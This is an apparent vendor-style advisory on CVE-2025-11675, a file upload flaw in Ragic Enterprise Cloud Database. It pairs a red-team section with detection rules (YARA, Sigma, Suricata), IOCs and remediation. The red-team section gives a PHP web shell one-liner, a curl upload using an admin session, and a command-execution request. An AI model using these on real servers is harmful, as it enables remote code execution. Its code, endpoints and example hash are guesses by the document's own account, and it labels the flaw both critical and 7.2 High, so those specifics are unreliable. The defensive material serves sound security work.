CVE-2025-11675

Executive Summary

CVE-2025-11675 is a critical Arbitrary File Upload vulnerability in Ragic Enterprise Cloud Database. This flaw allows a privileged remote attacker to upload a web shell backdoor, leading to arbitrary code execution on the server. With a CVSS score of 7.2 (High), the vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available. The vendor, Ragic, has not issued a security advisory or fix.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary Ragic Enterprise Cloud Database software, which is a closed-source commercial product. Organizations using Ragic should treat this as a critical supply chain risk and immediately isolate affected systems.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – attacker must have privileged access (e.g., admin credentials)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although the attack requires high privileges, once achieved, the impact is total system compromise. The lack of a patch makes this a ticking time bomb for any organization using Ragic.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Ragic Enterprise Cloud Database. The application fails to properly validate or sanitize uploaded files, allowing an authenticated administrator to upload arbitrary files, including web shells (e.g., PHP, ASP, JSP). Once uploaded, the attacker can access the shell via a web browser and execute arbitrary operating system commands.

Attack Flow:

1. Attacker gains privileged access (e.g., via stolen admin credentials or another vulnerability).
2. Attacker navigates to the file upload feature (e.g., /upload or /admin/upload).
3. Attacker uploads a malicious file (e.g., shell.php) containing a web shell payload.
4. The server stores the file in a web-accessible directory (e.g., /uploads/).
5. Attacker accesses the uploaded file via HTTP (e.g., https://target/uploads/shell.php).
6. The web shell executes, granting the attacker remote code execution.

Root Cause: Lack of file type validation, missing MIME type checks, and absence of file content inspection. The application likely trusts the file extension provided by the user without verifying the actual content.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Conceptual):

// Vulnerable upload handler
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";

Patched Code (Hypothetical):

// Patched upload handler
$allowed_types = ['image/jpeg', 'image/png', 'application/pdf'];
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$file_type = mime_content_type($_FILES["file"]["tmp_name"]);

if (!in_array($file_type, $allowed_types)) {
    die("Invalid file type.");
}

// Also check file extension
$ext = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (!in_array($ext, ['jpg', 'jpeg', 'png', 'pdf'])) {
    die("Invalid file extension.");
}

move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Ragic Enterprise Cloud Database (any version)
• Attacker: Kali Linux with common web tools

Steps:

1. Obtain admin credentials (e.g., via phishing or credential stuffing).
2. Log in to the Ragic admin panel.
3. Identify the file upload endpoint (e.g., /upload or /admin/upload).
4. Create a web shell payload (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

5. Upload the file using a tool like curl:

   curl -X POST -F "file=@shell.php" -b "session=admin_session" https://target/upload
   

6. Access the shell:

   curl https://target/uploads/shell.php?cmd=id
   

Expected Output:

uid=1000(ragic) gid=1000(ragic) groups=1000(ragic)

Blue Team

Detection Steps:

1. Monitor file upload logs for unusual file extensions (e.g., .php, .asp, .jsp).
2. Alert on uploads to directories that should not contain executable files.
3. Use file integrity monitoring (FIM) to detect new files in web-accessible directories.
4. Implement web application firewall (WAF) rules to block uploads of script files.

Hunting Query:

SELECT * FROM upload_logs WHERE file_extension IN ('php', 'asp', 'jsp', 'exe', 'sh');

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes will vary)
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled IPs from the Ragic server.
  • HTTP requests to /uploads/shell.php or similar paths.
• File System Indicators:
  • Unexpected files in /uploads/, /var/www/html/uploads/, or similar directories.
  • Files with double extensions (e.g., shell.php.jpg).
• Process Indicators:
  • Unusual processes spawned by the web server user (e.g., id, whoami, nc).

Detection Engineering

YARA Rule

rule CVE_2025_11675_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2025-11675"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-11675"
    strings:
        $php_shell = "<?php system("
        $asp_shell = "<% Execute("
        $jsp_shell = "Runtime.getRuntime().exec("
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-11675 - Arbitrary File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads with suspicious extensions to Ragic Enterprise Cloud Database
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/upload'
        cs-uri-query|endswith:
            - '.php'
            - '.asp'
            - '.jsp'
            - '.exe'
    condition: selection
falsepositives:
    - Legitimate file uploads by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11675 - Suspicious File Upload to Ragic"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:".php"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect Ragic servers from the internet if possible.
2. Restrict file uploads: Disable the file upload feature in the admin panel if configurable.
3. Apply strict access controls: Ensure only trusted administrators have privileged access.
4. Monitor logs: Actively monitor for suspicious file uploads and web shell access.

Long-term Fixes:

• Vendor patch: Await an official patch from Ragic. Contact their support for an ETA.
• Web Application Firewall (WAF): Deploy a WAF with rules to block uploads of script files.
• File upload validation: Implement server-side validation of file types, MIME types, and content.
• Principle of least privilege: Reduce the number of users with admin privileges.

Workaround:

• If the upload directory is configurable, move it outside the web root and serve files via a script that enforces strict validation.

Valters IT
Securing Digital Frontiers